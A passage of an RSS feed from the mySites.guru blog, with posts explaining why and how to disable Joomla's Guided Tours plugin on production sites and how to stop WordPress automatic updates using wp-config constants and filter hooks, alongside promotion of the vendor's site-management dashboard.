</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>updates</category><category>joomla</category><category>update channel</category><category>version management</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/how-to-prevent-accidental-joomla-version-jumps.CZpXFQ8R.png" length="0" type="image/png"/></item><item><title>How to Find and Disable the Guided Tours Plugin on Your Joomla Sites</title><link>https://mysites.guru/blog/how-to-find-disable-guided-tours-plugin-joomla/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-find-disable-guided-tours-plugin-joomla/</guid><description>Joomla Guided Tours wastes resources on live sites. Why you should disable it in production and how mySites.guru handles it automatically.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 4.3.0 introduced the Guided Tours feature, a system plugin that walks administrators through common tasks in the admin panel with interactive step-by-step overlays. It highlights buttons and fields, shows explanatory tooltips, and guides you through workflows like creating an article or configuring user settings.&lt;/p&gt;
&lt;p&gt;It&apos;s a thoughtful addition for people learning Joomla. But on production sites managed by experienced administrators, it&apos;s dead weight.&lt;/p&gt;
&lt;p&gt;I&apos;ll cover what the plugin actually does under the hood, why it belongs disabled on live sites, how to disable it manually, and how &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; flags it automatically across all your connected Joomla sites.&lt;/p&gt;
&lt;h2&gt;What Does the Joomla Guided Tours Plugin Do?&lt;/h2&gt;
&lt;p&gt;The Guided Tours system (&lt;code&gt;plg_system_guidedtours&lt;/code&gt;) is a system plugin that loads on every page of the Joomla admin panel. It consists of several parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The system plugin&lt;/strong&gt; - hooks into every admin page load to inject the tour JavaScript and CSS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The tours component&lt;/strong&gt; (&lt;code&gt;com_guidedtours&lt;/code&gt;) - stores and manages tour definitions in the database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tour step definitions&lt;/strong&gt; - JSON-based step sequences that target specific DOM elements on admin pages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The frontend overlay&lt;/strong&gt; - the actual interactive UI that highlights elements and shows instructional text&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the plugin is enabled, Joomla loads the tour framework on every single admin page request, regardless of whether anyone is actually running a tour. The JavaScript waits in the background, ready to activate when a user starts a tour from the admin menu.&lt;/p&gt;
&lt;p&gt;Joomla ships with several built-in tours covering tasks like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How to create an article&lt;/li&gt;
&lt;li&gt;How to create a menu and menu items&lt;/li&gt;
&lt;li&gt;How to create a category&lt;/li&gt;
&lt;li&gt;How to configure global settings&lt;/li&gt;
&lt;li&gt;How to manage users and user groups&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extension developers can also create their own tours to introduce users to their extension&apos;s features. The system is extensible by design.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;When Does Joomla Guided Tours Make Sense?&lt;/h2&gt;
&lt;p&gt;There are legitimate scenarios where leaving the Guided Tours plugin enabled is the right call:&lt;/p&gt;
&lt;h3&gt;Training new team members&lt;/h3&gt;
&lt;p&gt;If you&apos;re onboarding new administrators who haven&apos;t used Joomla before, the guided tours provide a structured introduction without needing someone to sit beside them. They can work through the tours at their own pace and get familiar with where things are.&lt;/p&gt;
&lt;h3&gt;Development and staging environments&lt;/h3&gt;
&lt;p&gt;On development or staging sites where you&apos;re building out the admin experience, you might want tours enabled to test them or to understand the admin workflows from a new user&apos;s perspective.&lt;/p&gt;
&lt;h3&gt;Custom client onboarding&lt;/h3&gt;
&lt;p&gt;If you build Joomla sites for clients and hand over the admin panel, some agencies create custom guided tours that walk clients through the specific workflows they need - publishing blog posts, managing products, or updating contact information. In this case, the tours are part of the deliverable.&lt;/p&gt;
&lt;h3&gt;Extension developers testing tours&lt;/h3&gt;
&lt;p&gt;If you&apos;re developing a Joomla extension and building guided tours for it, you obviously need the plugin enabled during development and testing.&lt;/p&gt;
&lt;h2&gt;Why Should You Disable It on Production Sites?&lt;/h2&gt;
&lt;p&gt;For the vast majority of production Joomla sites, the Guided Tours plugin should be disabled.&lt;/p&gt;
&lt;h3&gt;Unnecessary resource loading&lt;/h3&gt;
&lt;p&gt;Every time an administrator loads any page in the Joomla admin panel, the Guided Tours plugin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Executes its PHP system plugin code during the &lt;code&gt;onAfterDispatch&lt;/code&gt; event&lt;/li&gt;
&lt;li&gt;Injects JavaScript files for the tour engine&lt;/li&gt;
&lt;li&gt;Injects CSS for the tour overlay styling&lt;/li&gt;
&lt;li&gt;Loads tour definitions from the database&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This happens on &lt;strong&gt;every admin page load&lt;/strong&gt;, not just when someone clicks &quot;Start Tour.&quot; The JavaScript sits idle in the browser, consuming memory and adding to the page&apos;s script evaluation time.&lt;/p&gt;
&lt;p&gt;On a single page load, the overhead is small. But admin sessions involve dozens or hundreds of page loads. Across a day of admin work, across multiple administrators, it adds up to wasted bandwidth and processing time for functionality nobody is using.&lt;/p&gt;
&lt;h3&gt;Admin interface clutter&lt;/h3&gt;
&lt;p&gt;With the plugin enabled, a &quot;Guided Tours&quot; menu item appears in the admin sidebar under Components. There&apos;s also a &quot;Start Tour&quot; button context in some admin views. For experienced administrators, these are visual noise - one more thing to scroll past, one more menu item cluttering the sidebar that serves no purpose.&lt;/p&gt;
&lt;h3&gt;Increased attack surface&lt;/h3&gt;
&lt;p&gt;The Guided Tours plugin doesn&apos;t have a known vulnerability today. But minimising your attack surface matters regardless.&lt;/p&gt;
&lt;p&gt;Every enabled plugin is code that runs on every request. If a security flaw turns up in any of them, every site with that plugin enabled is exposed. The Joomla security team has a good track record, but reducing active plugins to only what you need is basic hardening.&lt;/p&gt;
&lt;p&gt;This is the same logic behind disabling other unused Joomla features. If you&apos;re not using it, turn it off. If a &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;vulnerability is found in a component you&apos;re running&lt;/a&gt;, you want to already have the smallest possible footprint.&lt;/p&gt;
&lt;h3&gt;It&apos;s a solved problem for experienced admins&lt;/h3&gt;
&lt;p&gt;Once you know how to create an article in Joomla, you don&apos;t need an interactive overlay to show you where the &quot;New&quot; button is. The guided tours are designed for first-time users. By the time you&apos;re deploying sites to production, you&apos;re past that stage.&lt;/p&gt;
&lt;p&gt;The same applies to your team. If they need guided tours to do their daily work, they need training - not a plugin running on a production server.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Joomla Guided Tours Manually?&lt;/h2&gt;
&lt;p&gt;Disabling the plugin through the Joomla admin panel is straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to your Joomla admin panel&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System&lt;/strong&gt; in the sidebar menu&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Plugins&lt;/strong&gt; under the &lt;strong&gt;Manage&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Search for &quot;Guided Tours&quot; in the search box&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;System - Guided Tours&lt;/strong&gt; to open the plugin&lt;/li&gt;
&lt;li&gt;Set the &lt;strong&gt;Status&lt;/strong&gt; to &lt;strong&gt;Disabled&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Alternatively, you can toggle the status directly from the plugin list by clicking the green checkmark icon next to the plugin name to change it to a red X.&lt;/p&gt;
&lt;p&gt;You can verify it worked by checking that the &quot;Guided Tours&quot; menu item has disappeared from the Components menu and that no tour-related JavaScript loads on admin pages.&lt;/p&gt;
&lt;h3&gt;The manual approach doesn&apos;t scale&lt;/h3&gt;
&lt;p&gt;If you manage one Joomla site, the above takes thirty seconds. If you manage ten sites, it&apos;s five minutes of repetitive clicking. If you manage fifty or a hundred sites, you&apos;re spending a meaningful amount of time logging into admin panels just to disable a single plugin.&lt;/p&gt;
&lt;p&gt;And that&apos;s just the initial disable. What about after Joomla updates? What about new sites you add to your portfolio? What about sites where a well-meaning administrator re-enables it?&lt;/p&gt;
&lt;p&gt;The manual approach requires you to remember to check this setting on every site, every time. That&apos;s exactly the kind of repetitive, error-prone task that should be automated.&lt;/p&gt;
&lt;h2&gt;How mySites.guru detects the Guided Tours plugin&lt;/h2&gt;
&lt;p&gt;mySites.guru checks the Guided Tours plugin status as part of its &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot process&lt;/a&gt;. Every time a snapshot runs on a connected Joomla site (version 4.3.0 or later), the connector queries the Joomla extensions database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT count(*) FROM #__extensions
WHERE name = &apos;plg_system_guidedtours&apos; AND enabled = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the query returns 1, the plugin is enabled and the snapshot flags it. If it returns 0, the plugin is disabled and everything is green.&lt;/p&gt;
&lt;p&gt;This check runs automatically. You don&apos;t need to remember to look for it. The snapshot result appears in the Extension Information section alongside other plugin checks, showing you at a glance whether the Guided Tours plugin needs attention.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The Guided Tours check is part of mySites.guru&apos;s broader &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt; for Joomla sites. It sits alongside checks for debug mode, error reporting, post-installation messages, and other configuration items that should be tightened on production sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;What the snapshot shows&lt;/h3&gt;
&lt;p&gt;In the mySites.guru dashboard, the Guided Tours check appears in the Extension Information section of your site&apos;s snapshot. You&apos;ll see one of two states:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OK&lt;/strong&gt; (green) - the plugin is disabled, no action needed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue&lt;/strong&gt; (red) - the plugin is enabled and should be disabled on this production site&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The check also tracks changes between snapshots. If the plugin was disabled on the last snapshot but is now enabled (perhaps after a Joomla update or someone re-enabling it), the trend indicator shows the change so you can catch configuration drift immediately.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Joomla Guided Tours with mySites.guru?&lt;/h2&gt;
&lt;p&gt;Once the snapshot has identified that the Guided Tours plugin is enabled, you have two ways to fix it.&lt;/p&gt;
&lt;h3&gt;From the site snapshot&lt;/h3&gt;
&lt;p&gt;Click on the Guided Tours check in the Extension Information section. mySites.guru shows you the current state and provides a toggle to enable or disable the plugin remotely. Click the toggle, and the connector updates the plugin&apos;s status in the Joomla database directly - no need to log into the Joomla admin panel.&lt;/p&gt;
&lt;p&gt;The toggle works in both directions. If you need to temporarily re-enable the plugin (for training, testing, or onboarding), you can turn it back on from the same interface and disable it again when you&apos;re done.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This is the same pattern used for other Joomla configuration toggles, like &lt;a href=&quot;https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/&quot;&gt;hiding post-installation messages&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;managing extensions&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;From the all-sites tool view&lt;/h3&gt;
&lt;p&gt;For managing the Guided Tours plugin across your entire portfolio, the all-sites tool view is more efficient. This view lists every connected Joomla site (4.3.0+) and shows the Guided Tours plugin status for each one.&lt;/p&gt;
&lt;p&gt;From this single screen you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See which sites have the plugin enabled and which have it disabled&lt;/li&gt;
&lt;li&gt;Sort and filter to find sites that need attention&lt;/li&gt;
&lt;li&gt;Toggle the plugin on or off for individual sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;ve just connected a batch of new Joomla sites to mySites.guru, the all-sites view lets you quickly scan for the Guided Tours plugin and disable it everywhere it shouldn&apos;t be running.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why Does Plugin Hygiene Matter on Joomla Sites?&lt;/h2&gt;
&lt;p&gt;The Guided Tours plugin is just one example of a broader principle: &lt;strong&gt;production Joomla sites should only run the plugins they actually need&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Joomla ships with a large number of system plugins enabled by default. Many of them are essential - authentication, session handling, content processing. But others are optional features that may not be relevant to every site.&lt;/p&gt;
&lt;p&gt;A disciplined approach to plugin management means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Auditing what&apos;s enabled&lt;/strong&gt; - know which plugins are active on each site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disabling what&apos;s unused&lt;/strong&gt; - turn off plugins that don&apos;t serve a purpose on that specific site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitoring for drift&lt;/strong&gt; - catch it when plugins get re-enabled unexpectedly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documenting exceptions&lt;/strong&gt; - know why a plugin is enabled when the default recommendation is to disable it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru automates steps 1 through 3. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tools&lt;/a&gt; give you visibility into every extension on every site, and the snapshot checks flag the ones that deviate from best practice. And it&apos;s not just plugins - &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;automatically removing fluff files after Joomla updates&lt;/a&gt; is another way to keep your sites lean.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Want to see how your sites score across all best practice checks, not just Guided Tours? Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on any Joomla site to get a full report covering security, performance, and configuration.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Other Joomla Plugins Should You Review on Production Sites?&lt;/h2&gt;
&lt;p&gt;While you&apos;re looking at the Guided Tours plugin, here are other default Joomla plugins worth reviewing on production sites:&lt;/p&gt;
&lt;h3&gt;System - Debug&lt;/h3&gt;
&lt;p&gt;The debug plugin displays diagnostic information at the bottom of every page, including database queries, memory usage, and loaded language strings. Essential for development, terrible for production. mySites.guru checks this as part of the &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;System - Statistics&lt;/h3&gt;
&lt;p&gt;Sends anonymous usage statistics to the Joomla project. Some site owners prefer to disable this for privacy or performance reasons.&lt;/p&gt;
&lt;h3&gt;Content - Email Cloaking&lt;/h3&gt;
&lt;p&gt;If your site doesn&apos;t display email addresses in content, this plugin runs regex on every page output for no reason. Disable it if you don&apos;t need it.&lt;/p&gt;
&lt;h3&gt;System - Debug Language&lt;/h3&gt;
&lt;p&gt;Shows untranslated language strings. Only useful during development when you&apos;re building or testing translations.&lt;/p&gt;
&lt;h3&gt;Content - Load Modules&lt;/h3&gt;
&lt;p&gt;Allows loading modules within article content using &lt;code&gt;{loadmodule}&lt;/code&gt; syntax. If you don&apos;t use this feature, it&apos;s scanning every article unnecessarily.&lt;/p&gt;
&lt;p&gt;The principle is always the same: if it&apos;s not serving a purpose on this specific site in production, disable it. Every disabled plugin is one fewer thing to load, one fewer thing to update, and one fewer potential attack vector. The same logic applies to features like &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;Send Copy to Submitter&lt;/a&gt; in contact forms - if it&apos;s not needed, it&apos;s just another thing running for no reason.&lt;/p&gt;
&lt;h2&gt;Which Joomla Versions Include Guided Tours?&lt;/h2&gt;
&lt;p&gt;The Guided Tours feature was introduced in Joomla 4.3.0, released in April 2023. Version compatibility breakdown:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Joomla version&lt;/th&gt;
&lt;th&gt;Guided Tours status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 3.x&lt;/td&gt;
&lt;td&gt;Not available - no action needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4.0 - 4.2&lt;/td&gt;
&lt;td&gt;Not available - no action needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4.3.0+&lt;/td&gt;
&lt;td&gt;Present and enabled by default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 5.x&lt;/td&gt;
&lt;td&gt;Present and enabled by default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 6.x&lt;/td&gt;
&lt;td&gt;Present and enabled by default&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;mySites.guru&apos;s check only runs on Joomla 4.3.0 and later since earlier versions don&apos;t have the plugin. If you&apos;re managing a mixed portfolio of Joomla 3, 4, and 5 sites, the check automatically applies only to the sites where it&apos;s relevant.&lt;/p&gt;
&lt;p&gt;If you&apos;re still running Joomla 3 sites, the Guided Tours plugin isn&apos;t a concern - but you should be thinking about your &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration path to Joomla 4 or 5&lt;/a&gt; or considering the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; for your next upgrade cycle.&lt;/p&gt;
&lt;h2&gt;Performance impact: how much does it actually matter?&lt;/h2&gt;
&lt;p&gt;Let&apos;s be honest about the performance impact. Disabling the Guided Tours plugin on a single site isn&apos;t going to cut your page load time in half. We&apos;re talking about a few kilobytes of JavaScript and CSS, plus a small amount of PHP execution time on each admin page load.&lt;/p&gt;
&lt;p&gt;But performance optimisation on the admin panel is about the aggregate effect of many small improvements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable Guided Tours: saves a few KB of JS/CSS per page load&lt;/li&gt;
&lt;li&gt;Disable Debug plugin: saves significant output rendering&lt;/li&gt;
&lt;li&gt;Disable unused content plugins: saves regex processing on every article render&lt;/li&gt;
&lt;li&gt;Disable unused system plugins: saves PHP execution time on every request&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each one is small. Together, they make a noticeably snappier admin experience, especially on shared hosting where server resources are limited and PHP execution time is precious.&lt;/p&gt;
&lt;p&gt;For agencies managing dozens or hundreds of sites, this adds up further. If you have 100 Joomla sites and each admin session involves 50 page loads, and each page load saves 20ms from disabling unused plugins, that&apos;s 1 second per session, multiplied by however many admin sessions happen per day across all your sites. Not life-changing, but not nothing either.&lt;/p&gt;
&lt;p&gt;The bigger point is discipline: running lean configurations across your portfolio means fewer things to troubleshoot when something goes wrong.&lt;/p&gt;
&lt;h2&gt;Fitting this into your wider Joomla management workflow&lt;/h2&gt;
&lt;p&gt;Disabling the Guided Tours plugin is one small piece. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; that detects it also captures dozens of other configuration checks, so run them regularly to keep your data current.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; cover debug settings, error reporting, SEF URLs, and more - Guided Tours is one item in that audit. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tools&lt;/a&gt; give you a broader view of every extension on every site, not just this one plugin.&lt;/p&gt;
&lt;p&gt;If you need to verify the change in Joomla&apos;s admin panel, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; gets you there without credentials. And just like &lt;a href=&quot;https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/&quot;&gt;dismissing post-installation messages&lt;/a&gt; across hundreds of sites, the Guided Tours toggle works at scale from the dashboard.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, run a snapshot on your Joomla 4.3+ and Joomla 5 sites and check the Extension Information section for the Guided Tours check. If any sites show it as enabled, toggle it off from the dashboard.&lt;/p&gt;
&lt;p&gt;If you&apos;re not yet using mySites.guru, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on any Joomla site to see all the best practice findings, including the Guided Tours plugin status. The audit covers security, configuration, and performance checks - the Guided Tours plugin is just one of many items it reviews.&lt;/p&gt;
&lt;p&gt;For a full overview of what mySites.guru offers for Joomla site management, check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;The Guided Tours plugin has its place during onboarding and training. On production sites where everyone already knows Joomla, it&apos;s just extra JavaScript, CSS, and database queries on every admin page load for no benefit.&lt;/p&gt;
&lt;p&gt;Disabling it on one site takes thirty seconds. Keeping it disabled across a portfolio of sites, catching it when Joomla updates re-enable it, and maintaining consistent configuration across fifty or a hundred sites - that&apos;s where doing it manually falls apart.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s snapshot check catches it automatically, flags it, and gives you a one-click toggle. No logging into individual admin panels, no spreadsheet tracking which sites you&apos;ve already fixed.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/help/help-guided-tours&quot;&gt;Guided Tours - Joomla user manual&lt;/a&gt; - official docs on what guided tours do and how they work&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2023/a-builder-s-guide-to-guided-tours&quot;&gt;A builder&apos;s guide to Guided Tours&lt;/a&gt; - Joomla Community Magazine walkthrough on creating custom tours, with CSS selectors and export methods&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5882-joomla-4-3-release.html&quot;&gt;Joomla 4.3.0 release announcement&lt;/a&gt; - the release that introduced Guided Tours&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla security advisories&lt;/a&gt; - official list of disclosed vulnerabilities, useful context for why reducing active plugins matters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html&quot;&gt;OWASP attack surface analysis&lt;/a&gt; - the general security principle behind disabling unused features&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of many Joomla-specific tips in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>plugins</category><category>guided tours</category><category>performance</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/disable-joomla-guided-tours-plugin.CU2pVx2M.png" length="0" type="image/png"/></item><item><title>How to Stop Automatic Updates in WordPress with One Click</title><link>https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/</guid><description>WordPress auto-updates can break plugins, themes, and layouts without warning. Control updates across all your sites from one dashboard with mySites.guru.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The Problem With WordPress Automatic Updates&lt;/h2&gt;
&lt;p&gt;WordPress introduced automatic background updates in version 3.7. The idea was sound: keep sites patched without relying on site owners to apply updates by hand. For small personal blogs, it works fine most of the time.&lt;/p&gt;
&lt;p&gt;For anyone managing client sites, running WooCommerce stores, or operating sites where uptime matters, automatic updates are a different problem entirely.&lt;/p&gt;
&lt;p&gt;What can go wrong:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Major version upgrades&lt;/strong&gt; ship with database schema changes, new default behaviors, and deprecated functions. Plugins that worked yesterday might throw errors today.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin and theme updates&lt;/strong&gt; triggered automatically can introduce bugs, change layouts, or conflict with other plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates during peak traffic&lt;/strong&gt; can cause temporary downtime while the update runs, especially on shared hosting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No rollback&lt;/strong&gt; - if an update breaks something at 3am, your site sits broken until someone notices and fixes it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The WordPress ecosystem moves fast. Plugin authors push updates frequently, and not every release is well-tested against every combination of other plugins and themes. Automatic updates mean you&apos;re trusting that every update, from every source, will work perfectly on your specific site configuration.&lt;/p&gt;
&lt;h2&gt;The WordPress AUTOMATIC_UPDATER_DISABLED Constant&lt;/h2&gt;
&lt;p&gt;WordPress controls automatic updates through the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. When set to &lt;code&gt;true&lt;/code&gt;, it disables all automatic background updates (core, plugins, themes, and translations). This is one of several &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug and configuration constants&lt;/a&gt; that control site behaviour.&lt;/p&gt;
&lt;p&gt;To set it manually, you&apos;d SSH into your server, open &lt;code&gt;wp-config.php&lt;/code&gt;, and add:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;AUTOMATIC_UPDATER_DISABLED&apos;, true);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then repeat that for every WordPress site you manage, remember which ones you&apos;ve changed, and make sure nobody reverts the change during a WordPress upgrade.&lt;/p&gt;
&lt;p&gt;For a single site, it&apos;s a two-minute task. For 30 sites, it&apos;s a headache. For 200 sites, it&apos;s a full afternoon.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru disable WordPress automatic updates in one click?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; reads &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; from wp-config.php on every connected site during each snapshot. If auto-updates are still enabled, the audit flags it.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click the fix button, and the connector plugin sets the constant to &lt;code&gt;true&lt;/code&gt; on the remote site. The next snapshot confirms it stuck. If someone (or something) reverts the change later, the audit catches it again.&lt;/p&gt;
&lt;p&gt;You can see the auto-update status of every WordPress site on one screen. No individual admin logins, no spreadsheets. If you&apos;re &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt;, this alone saves hours of repetitive work.&lt;/p&gt;
&lt;h2&gt;Filter Hooks for Granular Update Control&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;wp-config.php&lt;/code&gt; constants are the quickest way to disable auto-updates, but WordPress also provides filter hooks that give you more granular control. You can add these to your theme&apos;s &lt;code&gt;functions.php&lt;/code&gt; or a custom plugin (hat tip to &lt;a href=&quot;https://digwp.com/2026/03/disable-all-automatic-updates/&quot;&gt;Jeff Starr at DigWP&lt;/a&gt; for the thorough rundown):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_filter(&apos;automatic_updater_disabled&apos;, &apos;__return_true&apos;);
add_filter(&apos;auto_update_core&apos;, &apos;__return_false&apos;);
add_filter(&apos;auto_update_plugin&apos;, &apos;__return_false&apos;);
add_filter(&apos;auto_update_theme&apos;, &apos;__return_false&apos;);
add_filter(&apos;auto_update_translation&apos;, &apos;__return_false&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each filter targets a specific update type, so you can mix and match. For example, you could disable plugin and theme auto-updates while still allowing translation packs to update silently.&lt;/p&gt;
&lt;p&gt;For even finer core update control, WordPress offers three filters that break core updates into categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allow_dev_auto_core_updates&lt;/code&gt; - development/nightly builds&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_minor_auto_core_updates&lt;/code&gt; - security and maintenance releases (e.g. 6.4.1 to 6.4.2)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_major_auto_core_updates&lt;/code&gt; - major version jumps (e.g. 6.4 to 6.5)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to go further and stop WordPress from even checking for updates (saving HTTP requests on every admin page load), you can remove the check actions entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remove_action(&apos;admin_init&apos;, &apos;_maybe_update_core&apos;);
remove_action(&apos;admin_init&apos;, &apos;_maybe_update_plugins&apos;);
